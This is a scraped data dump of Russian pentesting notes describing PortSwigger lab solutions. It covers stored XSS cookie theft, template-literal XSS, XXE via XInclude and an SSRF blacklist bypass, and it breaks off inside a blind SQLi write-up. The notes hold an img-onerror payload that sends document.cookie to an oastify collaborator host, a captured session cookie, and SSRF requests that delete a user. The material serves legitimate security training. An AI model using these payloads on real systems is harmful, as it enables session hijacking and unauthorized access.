span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}",{"title":50,"searchDepth":98,"depth":98,"links":19455},[19456,19457,19458,19462],{"id":18,"depth":98,"text":19},{"id":682,"depth":98,"text":683},{"id":986,"depth":98,"text":987,"children":19459},[19460,19461],{"id":19275,"depth":104,"text":8004},{"id":19326,"depth":104,"text":19327},{"id":19412,"depth":98,"text":19413},"2026-04-29","Кража логина и пароля из браузерного автозаполнения через Stored XSS: поддельные инпуты + onchange + Burp Collaborator.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fxss-capture-passwords",{"title":19240,"description":19464},"notes\u002Fpentesting\u002Fportswigger\u002Fxss-capture-passwords",[117,9354,19470,19471,121],"stored-xss","password-stealing","iJ7RThtlef3SU0Xvemd3tUqmIDhTuKUWPt43yA0HaYw",{"id":19474,"title":19475,"author":6,"body":19476,"date":19463,"description":19679,"difficulty":108,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":19680,"navigation":112,"notes":110,"path":19681,"psTitle":19500,"seo":19682,"stem":19683,"tags":19684,"timeSpent":110,"type":123,"__hash__":19685},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fxss-stealing-cookies.md","Кража cookie через Stored XSS (PortSwigger Lab)",{"type":8,"value":19477,"toc":19669},[19478,19482,19484,19490,19492,19508,19510,19521,19523,19527,19530,19588,19592,19598,19605,19644,19647,19651,19654,19660,19666],[11,19479,19481],{"id":19480},"кража-cookie-через-stored-xss","Кража cookie через Stored XSS",[16,19483,625],{"id":624},[21,19485,19486,19489],{},[637,19487,19488],{},"Stored XSS"," — уязвимость, при которой пользовательский ввод сохраняется на сервере и без должной фильтрации возвращается другим пользователям в составе HTML-страницы. Если жертва — авторизованный пользователь, атакующий может получить её session-cookie и захватить аккаунт.",[16,19491,19],{"id":18},[21,19493,19494,640,19496,19501,19504,19505,19507],{},[637,19495,8941],{},[24,19497,19500],{"href":19498,"rel":19499},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fcross-site-scripting\u002Fexploiting\u002Flab-stealing-cookies",[28],"Exploiting cross-site scripting to steal cookies",[637,19502,19503],{},"Сложность:"," Practitioner\n",[637,19506,651],{}," Внедрить полезную нагрузку в комментарий, перехватить cookie администратора и войти в его аккаунт.",[16,19509,683],{"id":682},[21,19511,19512,19513,19516,19517,19520],{},"Закидываем стандартный набор символов ",[48,19514,19515],{},"\u003C>\"'\\"," во все поля формы комментария. Поле ",[637,19518,19519],{},"Comment"," уязвимо — символы возвращаются без экранирования. Остальные поля (name, email, website) фильтруются.",[16,19522,987],{"id":986},[36,19524,19526],{"id":19525},"шаг-1-выбор-payload","Шаг 1 — Выбор payload",[21,19528,19529],{},"Запрос на внешний хост можно сделать из обработчика события через несколько конструкций:",[41,19531,19533],{"className":14466,"code":19532,"language":14468,"meta":50,"style":50},"fetch('URL?c=' + document.cookie)\nnew Image().src = 'URL?c=' + document.cookie\nthis.src = 'URL?c=' + document.cookie  \u002F\u002F переиспользуем сам тег\n",[48,19534,19535,19549,19569],{"__ignoreMap":50},[308,19536,19537,19539,19541,19544,19546],{"class":310,"line":311},[308,19538,2130],{"class":667},[308,19540,917],{"class":911},[308,19542,19543],{"class":671},"'URL?c='",[308,19545,17335],{"class":1619},[308,19547,19548],{"class":911}," document.cookie)\n",[308,19550,19551,19553,19556,19559,19561,19564,19566],{"class":310,"line":98},[308,19552,16388],{"class":1619},[308,19554,19555],{"class":667}," Image",[308,19557,19558],{"class":911},"().src ",[308,19560,2066],{"class":1619},[308,19562,19563],{"class":671}," 'URL?c='",[308,19565,17335],{"class":1619},[308,19567,19568],{"class":911}," document.cookie\n",[308,19570,19571,19573,19576,19578,19580,19582,19585],{"class":310,"line":104},[308,19572,14573],{"class":678},[308,19574,19575],{"class":911},".src ",[308,19577,2066],{"class":1619},[308,19579,19563],{"class":671},[308,19581,17335],{"class":1619},[308,19583,19584],{"class":911}," document.cookie  ",[308,19586,19587],{"class":1613},"\u002F\u002F переиспользуем сам тег\n",[36,19589,19591],{"id":19590},"шаг-2-burp-collaborator","Шаг 2 — Burp Collaborator",[21,19593,19594,19595,19597],{},"Свой сервер не отвечал, поэтому используем встроенный ",[637,19596,3724],{}," — он генерирует одноразовый домен и фиксирует все входящие запросы.",[21,19599,19600,19601,19604],{},"Получаем адрес вида ",[48,19602,19603],{},"zvy0sc79xmo6lmcgsthr3j4i2980wqkf.oastify.com"," и собираем payload:",[41,19606,19608],{"className":2047,"code":19607,"language":2049,"meta":50,"style":50},"\u003Cimg src=\"x\" onerror=\"fetch('https:\u002F\u002Fzvy0sc79xmo6lmcgsthr3j4i2980wqkf.oastify.com\u002F?c='+document.cookie)\" \u002F>\n",[48,19609,19610],{"__ignoreMap":50},[308,19611,19612,19614,19616,19618,19620,19623,19625,19627,19629,19631,19634,19636,19639,19641],{"class":310,"line":311},[308,19613,2056],{"class":911},[308,19615,693],{"class":2059},[308,19617,2063],{"class":667},[308,19619,2066],{"class":911},[308,19621,19622],{"class":671},"\"x\"",[308,19624,17740],{"class":667},[308,19626,2066],{"class":911},[308,19628,12040],{"class":671},[308,19630,2130],{"class":667},[308,19632,19633],{"class":671},"('https",[308,19635,215],{"class":11348},[308,19637,19638],{"class":1613},"\u002F\u002Fzvy0sc79xmo6lmcgsthr3j4i2980wqkf.oastify.com\u002F?c='+document.cookie)",[308,19640,12040],{"class":671},[308,19642,19643],{"class":911}," \u002F>\n",[21,19645,19646],{},"Отправляем как комментарий.",[36,19648,19650],{"id":19649},"шаг-3-получение-cookie","Шаг 3 — Получение cookie",[21,19652,19653],{},"В Collaborator прилетает запрос:",[41,19655,19658],{"className":19656,"code":19657,"language":46},[44],"GET \u002F?c=secret=PZYFKXdyeAbf5tKe8hyPZjKqR97bGzl9;%20session=0Ppv65ScgeSsMYw0pa0gL6XcFtXLbEba HTTP\u002F1.1\n",[48,19659,19657],{"__ignoreMap":50},[21,19661,19662,19663,19665],{},"Берём значение ",[48,19664,11853],{},", подставляем в свои cookie через DevTools — заходим как администратор. Лаба решена.",[357,19667,19668],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}",{"title":50,"searchDepth":98,"depth":98,"links":19670},[19671,19672,19673,19674],{"id":624,"depth":98,"text":625},{"id":18,"depth":98,"text":19},{"id":682,"depth":98,"text":683},{"id":986,"depth":98,"text":987,"children":19675},[19676,19677,19678],{"id":19525,"depth":104,"text":19526},{"id":19590,"depth":104,"text":19591},{"id":19649,"depth":104,"text":19650},"Эксплуатация Stored XSS в форме комментариев для кражи session-cookie через Burp Collaborator.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fxss-stealing-cookies",{"title":19475,"description":19679},"notes\u002Fpentesting\u002Fportswigger\u002Fxss-stealing-cookies",[117,9354,19470,121],"GHQqs0p8iGWTmxJLQR3FhWWA-tZeHqhgcZV7VSPj_dU",{"id":19687,"title":19688,"author":6,"body":19689,"date":9366,"description":19729,"difficulty":257,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":19730,"navigation":112,"notes":110,"path":19731,"psTitle":19703,"seo":19732,"stem":19733,"tags":19734,"timeSpent":110,"type":123,"__hash__":19736},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fxss-template-literal-unicode-escaped.md","Reflected XSS в template literal (PortSwigger Lab)",{"type":8,"value":19690,"toc":19724},[19691,19695,19697,19704,19706,19712,19714,19716,19722],[11,19692,19694],{"id":19693},"reflected-xss-в-template-literal","Reflected XSS в template literal",[16,19696,19],{"id":18},[21,19698,19699,144],{},[24,19700,19703],{"href":19701,"rel":19702},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fcross-site-scripting\u002Fcontexts\u002Flab-javascript-template-literal-angle-brackets-single-double-quotes-backslash-backticks-escaped",[28],"Reflected XSS into a JavaScript template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped",[16,19705,683],{"id":682},[21,19707,19708,19709,426],{},"Строка из инпута поиска рефлектится в JS-коде. Используется синтаксис template strings — возможна инъекция через конструкцию ",[48,19710,19711],{},"${}",[16,19713,987],{"id":986},[21,19715,17387],{},[41,19717,19720],{"className":19718,"code":19719,"language":46},[44],"${alert(25)}\n",[48,19721,19719],{"__ignoreMap":50},[21,19723,12197],{},{"title":50,"searchDepth":98,"depth":98,"links":19725},[19726,19727,19728],{"id":18,"depth":98,"text":19},{"id":682,"depth":98,"text":683},{"id":986,"depth":98,"text":987},"Инъекция через ${} в JavaScript template literal — payload: ${alert(25)}.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fxss-template-literal-unicode-escaped",{"title":19688,"description":19729},"notes\u002Fpentesting\u002Fportswigger\u002Fxss-template-literal-unicode-escaped",[117,9354,19735,901,121],"template-literal","Jsc-Hi48jEE-q4njIX1NQSS-UQGaNIO83b9HYwAH_Is",{"id":19738,"title":19739,"author":6,"body":19740,"date":9318,"description":19914,"difficulty":257,"extension":109,"image":19898,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":19915,"navigation":112,"notes":110,"path":19916,"psTitle":19917,"seo":19918,"stem":19919,"tags":19920,"timeSpent":110,"type":123,"__hash__":19922},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fxxe-xinclude-attack.md","XXE через XInclude (PortSwigger Lab)",{"type":8,"value":19741,"toc":19907},[19742,19746,19748,19754,19764,19766,19787,19790,19792,19799,19802,19808,19811,19817,19820,19824,19827,19833,19835,19841,19847,19857,19859,19871,19887,19893,19899,19905],[11,19743,19745],{"id":19744},"xxe-через-xinclude","XXE через XInclude",[16,19747,625],{"id":624},[21,19749,19750,19753],{},[637,19751,19752],{},"XXE (XML External Entity)"," — уязвимость в XML-парсерах, позволяющая атакующему читать локальные файлы, проводить SSRF или в ряде окружений добиться RCE — через инъекцию деклараций внешних сущностей в XML, который разбирает сервер.",[21,19755,19756,19758,19759,19761,19762,426],{},[637,19757,8049],{}," — стандарт W3C для включения содержимого внешних документов в XML. Когда атакующий не контролирует весь XML-документ (и поэтому не может определить собственный ",[48,19760,8701],{},"), XInclude предоставляет альтернативный путь: достаточно одного элемента, без ",[48,19763,8701],{},[16,19765,19],{"id":18},[21,19767,19768,640,19770,19775,19777,19779,19780,19782,19784,19785,426],{},[637,19769,8941],{},[24,19771,19774],{"href":19772,"rel":19773},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fxxe\u002Flab-xinclude-attack",[28],"XXE via XInclude attack",[647,19776],{},[637,19778,19503],{}," Practitioner",[647,19781],{},[637,19783,651],{}," Внедрить XInclude-конструкцию для получения содержимого файла ",[48,19786,8550],{},[21,19788,19789],{},"Функция проверки наличия товара встраивает переданные пользователем значения в XML-документ на стороне сервера. Поскольку пользователь не контролирует весь документ, классическая атака через внешние сущности невозможна.",[16,19791,683],{"id":682},[21,19793,19794,19795,19798],{},"Открываем Burp Suite, включаем встроенный браузер, переходим в лабу. На странице товара нажимаем ",[637,19796,19797],{},"Check stock"," с включённым перехватом запросов.",[21,19800,19801],{},"Burp перехватывает POST-запрос:",[21,19803,19804],{},[693,19805],{"alt":19806,"src":19807},"POST-запрос с параметрами productId и storeId в Burp","\u002Fimages\u002Fposts\u002Fportswigger-xxe-xinclude\u002F01-intercepted-request.png",[21,19809,19810],{},"Тело запроса:",[41,19812,19815],{"className":19813,"code":19814,"language":46},[44],"productId=1&storeId=1\n",[48,19816,19814],{"__ignoreMap":50},[21,19818,19819],{},"Параметры выглядят как обычные данные формы, а не как XML. Вероятно, приложение встраивает их в XML-документ внутри, перед передачей парсеру.",[16,19821,19823],{"id":19822},"определение-точки-инъекции","Определение точки инъекции",[21,19825,19826],{},"Чтобы подтвердить, какой параметр попадает в XML, пробуем невалидный XML-синтаксис:",[41,19828,19831],{"className":19829,"code":19830,"language":46},[44],"productId=\u003Cfoo>&storeId=1\n",[48,19832,19830],{"__ignoreMap":50},[21,19834,501],{},[41,19836,19839],{"className":19837,"code":19838,"language":46},[44],"XML parser exited with error: org.xml.sax.SAXParseException; lineNumber: 3;\ncolumnNumber: 23; The element type \"foo\" must be terminated by the matching\nend-tag \"\u003C\u002Ffoo>\".\n",[48,19840,19838],{"__ignoreMap":50},[21,19842,19843],{},[693,19844],{"alt":19845,"src":19846},"Ответ сервера — ошибка XML-парсера подтверждает, что параметр встраивается в XML","\u002Fimages\u002Fposts\u002Fportswigger-xxe-xinclude\u002F02-xml-error.png",[21,19848,19849,19850,19853,19854,19856],{},"Сервер вернул ошибку парсинга XML — значит ",[48,19851,19852],{},"productId"," точно встраивается в XML перед обработкой. Классический XXE через ",[48,19855,8701],{}," недоступен, так как мы контролируем только фрагмент, а не весь документ.",[16,19858,987],{"id":986},[21,19860,19861,19862,19864,19865,1092,19868,19870],{},"Внедряем XInclude-нагрузку в параметр ",[48,19863,19852],{},". XInclude требует только объявления пространства имён и элемента ",[48,19866,19867],{},"\u003Cxi:include>",[48,19869,8701],{}," не нужен:",[41,19872,19873],{"className":3129,"code":7311,"language":3131,"meta":50,"style":50},[48,19874,19875,19879,19883],{"__ignoreMap":50},[308,19876,19877],{"class":310,"line":311},[308,19878,7318],{},[308,19880,19881],{"class":310,"line":98},[308,19882,7323],{},[308,19884,19885],{"class":310,"line":104},[308,19886,7328],{},[21,19888,19889,19890,19892],{},"Атрибут ",[48,19891,7341],{}," указывает парсеру включить содержимое файла как простой текст, не пытаясь разобрать его как XML.",[21,19894,19895],{},[693,19896],{"alt":19897,"src":19898},"Ответ содержит содержимое \u002Fetc\u002Fpasswd — лаба решена","\u002Fimages\u002Fposts\u002Fportswigger-xxe-xinclude\u002F03-passwd.png",[21,19900,19901,19902,19904],{},"В ответе — содержимое ",[48,19903,8550],{},". Лаба решена.",[357,19906,359],{},{"title":50,"searchDepth":98,"depth":98,"links":19908},[19909,19910,19911,19912,19913],{"id":624,"depth":98,"text":625},{"id":18,"depth":98,"text":19},{"id":682,"depth":98,"text":683},{"id":19822,"depth":98,"text":19823},{"id":986,"depth":98,"text":987},"Инъекция директивы XInclude в параметр, который встраивается в XML на стороне сервера — обход ограничения на управление DOCTYPE.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fxxe-xinclude-attack","Exploiting XInclude to retrieve files",{"title":19739,"description":19914},"notes\u002Fpentesting\u002Fportswigger\u002Fxxe-xinclude-attack",[117,8896,19921,3131,121],"xinclude","OeImPWBldo1IOGk78l2Nkc4Pb_smPApAqDyAf20LW4k",{"id":19924,"title":19925,"author":6,"body":19926,"date":20311,"description":20312,"difficulty":257,"extension":109,"image":20134,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":20313,"navigation":112,"notes":110,"path":20314,"psTitle":19963,"seo":20315,"stem":20316,"tags":20317,"timeSpent":110,"type":123,"__hash__":20318},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fssrf-blacklist-filter-bypass.md","SSRF с обходом блэклиста (PortSwigger Lab)",{"type":8,"value":19927,"toc":20300},[19928,19932,19934,19939,19953,19955,19979,19982,19984,19990,19993,19999,20002,20008,20011,20017,20023,20027,20031,20034,20040,20042,20048,20054,20057,20061,20068,20096,20100,20106,20116,20120,20123,20129,20135,20148,20150,20153,20267,20273,20280,20286,20292,20298],[11,19929,19931],{"id":19930},"ssrf-с-обходом-блэклиста","SSRF с обходом блэклиста",[16,19933,625],{"id":624},[21,19935,19936,19938],{},[637,19937,5477],{}," — уязвимость, при которой атакующий может заставить сервер выполнять HTTP-запросы к произвольным ресурсам, в том числе к внутренней инфраструктуре, недоступной снаружи.",[21,19940,19941,19944,19945,973,19948,973,19950,19952],{},[637,19942,19943],{},"Blacklist-based фильтр"," — один из способов защиты: сервер проверяет URL на наличие запрещённых строк (например, ",[48,19946,19947],{},"localhost",[48,19949,2686],{},[48,19951,1591],{},") и блокирует запрос при совпадении. Такой подход принципиально ненадёжен: строк-представлений одного и того же адреса или пути существует множество, и перечислить их все заранее невозможно.",[16,19954,19],{"id":18},[21,19956,19957,640,19959,19964,19966,19779,19968,19970,19972,19973,19976,19977,426],{},[637,19958,8941],{},[24,19960,19963],{"href":19961,"rel":19962},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fssrf\u002Flab-ssrf-with-blacklist-filter",[28],"SSRF with blacklist-based input filter",[647,19965],{},[637,19967,19503],{},[647,19969],{},[637,19971,651],{}," Изменить URL в параметре проверки наличия товара так, чтобы сервер обратился к ",[48,19974,19975],{},"http:\u002F\u002Flocalhost\u002Fadmin"," и удалил пользователя ",[48,19978,10765],{},[21,19980,19981],{},"Условие лабы: разработчик реализовал две независимые SSRF-проверки на основе блэклиста.",[16,19983,683],{"id":682},[21,19985,19986,19987,19989],{},"Открываем Burp Suite, запускаем встроенный браузер и переходим в лабу. На странице карточки товара находим кнопку ",[637,19988,19797],{},". Включаем перехват запросов (Intercept) и нажимаем кнопку.",[21,19991,19992],{},"В Burp видим POST-запрос:",[21,19994,19995],{},[693,19996],{"alt":19997,"src":19998},"POST-запрос с параметром stockApi в Burp Repeater","\u002Fimages\u002Fposts\u002Fportswigger-ssrf-blacklist\u002F01-stock-request.jpg",[21,20000,20001],{},"В теле запроса — параметр:",[41,20003,20006],{"className":20004,"code":20005,"language":46},[44],"stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1\n",[48,20007,20005],{"__ignoreMap":50},[21,20009,20010],{},"В декодированном виде:",[41,20012,20015],{"className":20013,"code":20014,"language":46},[44],"stockApi=http:\u002F\u002Fstock.weliketoshop.net:8080\u002Fproduct\u002Fstock\u002Fcheck?productId=1&storeId=1\n",[48,20016,20014],{"__ignoreMap":50},[21,20018,20019,20020,923],{},"URL передаётся в явном виде — перед нами потенциальная точка инъекции для SSRF. Отправляем запрос в Repeater (",[48,20021,20022],{},"Cmd+R",[16,20024,20026],{"id":20025},"обход-фильтра","Обход фильтра",[36,20028,20030],{"id":20029},"шаг-1-прямой-запрос-к-admin","Шаг 1 — Прямой запрос к \u002Fadmin",[21,20032,20033],{},"Первая попытка без обфускации:",[41,20035,20038],{"className":20036,"code":20037,"language":46},[44],"stockApi=http:\u002F\u002Flocalhost\u002Fadmin\n",[48,20039,20037],{"__ignoreMap":50},[21,20041,501],{},[41,20043,20046],{"className":20044,"code":20045,"language":46},[44],"External stock check blocked for security reasons\n",[48,20047,20045],{"__ignoreMap":50},[21,20049,20050],{},[693,20051],{"alt":20052,"src":20053},"Ответ сервера при прямом запросе — блокировка","\u002Fimages\u002Fposts\u002Fportswigger-ssrf-blacklist\u002F02-blocked.jpg",[21,20055,20056],{},"Фильтр активен. Разберёмся, что именно блокируется.",[36,20058,20060],{"id":20059},"шаг-2-обход-ip-части-1271-вместо-localhost","Шаг 2 — Обход IP-части: 127.1 вместо localhost",[21,20062,20063,3483,20065,20067],{},[48,20064,19947],{},[48,20066,2686],{}," — не единственные способы обратиться к loopback-интерфейсу. Среди альтернативных представлений:",[748,20069,20070,20076,20084,20090],{},[333,20071,20072,20075],{},[48,20073,20074],{},"127.1"," — сокращённая запись (IPv4 допускает опущение нулевых октетов)",[333,20077,20078,20081,20082],{},[48,20079,20080],{},"2130706433"," — десятичное представление адреса ",[48,20083,2686],{},[333,20085,20086,20089],{},[48,20087,20088],{},"017700000001"," — восьмеричное",[333,20091,20092,20095],{},[48,20093,20094],{},"0x7f000001"," — шестнадцатеричное",[21,20097,19444,20098,215],{},[48,20099,20074],{},[41,20101,20104],{"className":20102,"code":20103,"language":46},[44],"stockApi=http:\u002F\u002F127.1\u002Fadmin\n",[48,20105,20103],{"__ignoreMap":50},[21,20107,20108,20109,20112,20113,20115],{},"Снова ",[48,20110,20111],{},"External stock check blocked for security reasons",". IP-часть фильтр пропустил, но строка ",[48,20114,1591],{}," в пути всё ещё блокируется.",[36,20117,20119],{"id":20118},"шаг-3-обход-пути-admin-вместо-admin","Шаг 3 — Обход пути: ADMIN вместо admin",[21,20121,20122],{},"Если фильтр сравнивает строки с учётом регистра, изменение регистра обойдёт проверку:",[41,20124,20127],{"className":20125,"code":20126,"language":46},[44],"stockApi=http:\u002F\u002F127.1\u002FADMIN\n",[48,20128,20126],{"__ignoreMap":50},[21,20130,20131],{},[693,20132],{"alt":20133,"src":20134},"Запрос 127.1\u002FADMIN возвращает 200 — оба фильтра обойдены","\u002Fimages\u002Fposts\u002Fportswigger-ssrf-blacklist\u002F03-bypass-200.jpg",[21,20136,15505,20137,20140,20141,20143,20144,20147],{},[48,20138,20139],{},"200 OK",". Оба фильтра обойдены: ",[48,20142,20074],{}," проходит IP-проверку, ",[48,20145,20146],{},"ADMIN"," — строковую.",[16,20149,987],{"id":986},[21,20151,20152],{},"В теле ответа — HTML страницы администратора со списком пользователей:",[41,20154,20156],{"className":2047,"code":20155,"language":2049,"meta":50,"style":50},"\u003Ch1>Users\u003C\u002Fh1>\n\u003Cdiv>\n    \u003Cspan>wiener - \u003C\u002Fspan>\n    \u003Ca href=\"\u002Fadmin\u002Fdelete?username=wiener\">Delete\u003C\u002Fa>\n\u003C\u002Fdiv>\n\u003Cdiv>\n    \u003Cspan>carlos - \u003C\u002Fspan>\n    \u003Ca href=\"\u002Fadmin\u002Fdelete?username=carlos\">Delete\u003C\u002Fa>\n\u003C\u002Fdiv>\n",[48,20157,20158,20171,20179,20192,20212,20220,20228,20241,20259],{"__ignoreMap":50},[308,20159,20160,20162,20164,20167,20169],{"class":310,"line":311},[308,20161,2056],{"class":911},[308,20163,11],{"class":2059},[308,20165,20166],{"class":911},">Users\u003C\u002F",[308,20168,11],{"class":2059},[308,20170,2077],{"class":911},[308,20172,20173,20175,20177],{"class":310,"line":98},[308,20174,2056],{"class":911},[308,20176,13312],{"class":2059},[308,20178,2077],{"class":911},[308,20180,20181,20183,20185,20188,20190],{"class":310,"line":104},[308,20182,11294],{"class":911},[308,20184,308],{"class":2059},[308,20186,20187],{"class":911},">wiener - \u003C\u002F",[308,20189,308],{"class":2059},[308,20191,2077],{"class":911},[308,20193,20194,20196,20198,20200,20202,20205,20208,20210],{"class":310,"line":1327},[308,20195,11294],{"class":911},[308,20197,24],{"class":2059},[308,20199,2110],{"class":667},[308,20201,2066],{"class":911},[308,20203,20204],{"class":671},"\"\u002Fadmin\u002Fdelete?username=wiener\"",[308,20206,20207],{"class":911},">Delete\u003C\u002F",[308,20209,24],{"class":2059},[308,20211,2077],{"class":911},[308,20213,20214,20216,20218],{"class":310,"line":1336},[308,20215,11372],{"class":911},[308,20217,13312],{"class":2059},[308,20219,2077],{"class":911},[308,20221,20222,20224,20226],{"class":310,"line":1349},[308,20223,2056],{"class":911},[308,20225,13312],{"class":2059},[308,20227,2077],{"class":911},[308,20229,20230,20232,20234,20237,20239],{"class":310,"line":1360},[308,20231,11294],{"class":911},[308,20233,308],{"class":2059},[308,20235,20236],{"class":911},">carlos - \u003C\u002F",[308,20238,308],{"class":2059},[308,20240,2077],{"class":911},[308,20242,20243,20245,20247,20249,20251,20253,20255,20257],{"class":310,"line":1366},[308,20244,11294],{"class":911},[308,20246,24],{"class":2059},[308,20248,2110],{"class":667},[308,20250,2066],{"class":911},[308,20252,14135],{"class":671},[308,20254,20207],{"class":911},[308,20256,24],{"class":2059},[308,20258,2077],{"class":911},[308,20260,20261,20263,20265],{"class":310,"line":1452},[308,20262,11372],{"class":911},[308,20264,13312],{"class":2059},[308,20266,2077],{"class":911},[21,20268,20269],{},[693,20270],{"alt":20271,"src":20272},"HTML-ответ с панелью администратора и ссылками на удаление пользователей","\u002Fimages\u002Fposts\u002Fportswigger-ssrf-blacklist\u002F04-admin-html.jpg",[21,20274,20275,20276,20279],{},"Для удаления пользователя нужен GET-запрос на ",[48,20277,20278],{},"\u002Fadmin\u002Fdelete?username=carlos",". Дорабатываем payload:",[41,20281,20284],{"className":20282,"code":20283,"language":46},[44],"stockApi=http:\u002F\u002F127.1\u002FADMIN\u002Fdelete?username=carlos\n",[48,20285,20283],{"__ignoreMap":50},[21,20287,20288],{},[693,20289],{"alt":20290,"src":20291},"Финальный запрос — ответ 302, лаба решена","\u002Fimages\u002Fposts\u002Fportswigger-ssrf-blacklist\u002F05-302-solved.jpg",[21,20293,15505,20294,20297],{},[48,20295,20296],{},"302 Found",". Уязвимость успешно проэксплуатирована, лаба решена.",[357,20299,12383],{},{"title":50,"searchDepth":98,"depth":98,"links":20301},[20302,20303,20304,20305,20310],{"id":624,"depth":98,"text":625},{"id":18,"depth":98,"text":19},{"id":682,"depth":98,"text":683},{"id":20025,"depth":98,"text":20026,"children":20306},[20307,20308,20309],{"id":20029,"depth":104,"text":20030},{"id":20059,"depth":104,"text":20060},{"id":20118,"depth":104,"text":20119},{"id":986,"depth":98,"text":987},"2026-04-14","Как обойти два blacklist-фильтра при SSRF-атаке: альтернативное представление IP-адреса и регистронезависимость в пути URL — через Burp Repeater.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fssrf-blacklist-filter-bypass",{"title":19925,"description":20312},"notes\u002Fpentesting\u002Fportswigger\u002Fssrf-blacklist-filter-bypass",[117,4027,4029,121],"fsiQhSHSd8_Mood0DYQBinhLqn1adBGTeD0SY-fadYo",{"id":20320,"title":20321,"author":6,"body":20322,"date":20858,"description":20859,"difficulty":257,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":20860,"navigation":112,"notes":110,"path":20861,"psTitle":20364,"seo":20862,"stem":20863,"tags":20864,"timeSpent":110,"type":123,"__hash__":20867},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fsqli-blind-conditional-responses.md","Слепая SQL-инъекция с условными ответами (PortSwigger Lab)",{"type":8,"value":20323,"toc":20848},[20324,20328,20330,20336,20354,20356,20374,20376,20383,20386,20392,20399,20402,20433,20436,20438,20442,20448,20457,20467,20471,20478,20493,20496,20500,20507,20831,20837,20846],[11,20325,20327],{"id":20326},"слепая-sql-инъекция-с-условными-ответами","Слепая SQL-инъекция с условными ответами",[16,20329,625],{"id":624},[21,20331,20332,20335],{},[637,20333,20334],{},"Слепая SQL-инъекция"," (Blind SQLi) — класс SQL-инъекций, при которых приложение не возвращает результаты запросов или сообщения об ошибках в HTTP-ответе. Атакующий получает данные, наблюдая за изменениями в поведении приложения: появляется ли определённое сообщение, меняется ли время ответа.",[21,20337,20338,20339,20342,20343,795,20346,20349,20350,20353],{},"В данном варианте (",[637,20340,20341],{},"boolean-based blind SQLi",") приложение возвращает разный контент в зависимости от того, вернуло ли условие ",[48,20344,20345],{},"TRUE",[48,20347,20348],{},"FALSE",". Конструируя условия вида ",[48,20351,20352],{},"SUBSTRING(password, 1, 1) = 'a'",", атакующий может извлекать данные посимвольно.",[16,20355,19],{"id":18},[21,20357,20358,640,20360,20365,20367,19779,20369,20371,20373],{},[637,20359,8941],{},[24,20361,20364],{"href":20362,"rel":20363},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fsql-injection\u002Fblind\u002Flab-conditional-responses",[28],"Blind SQL injection with conditional responses",[647,20366],{},[637,20368,19503],{},[647,20370],{},[637,20372,651],{}," Эксплуатировать слепую SQL-инъекцию в tracking cookie, извлечь пароль администратора и войти в аккаунт.",[16,20375,683],{"id":682},[21,20377,20378,20379,20382],{},"Приложение хранит cookie ",[48,20380,20381],{},"TrackingId",", которая используется в SQL-запросе. Результат запроса нигде не отображается, однако на странице появляется сообщение «Welcome back!», если запрос вернул 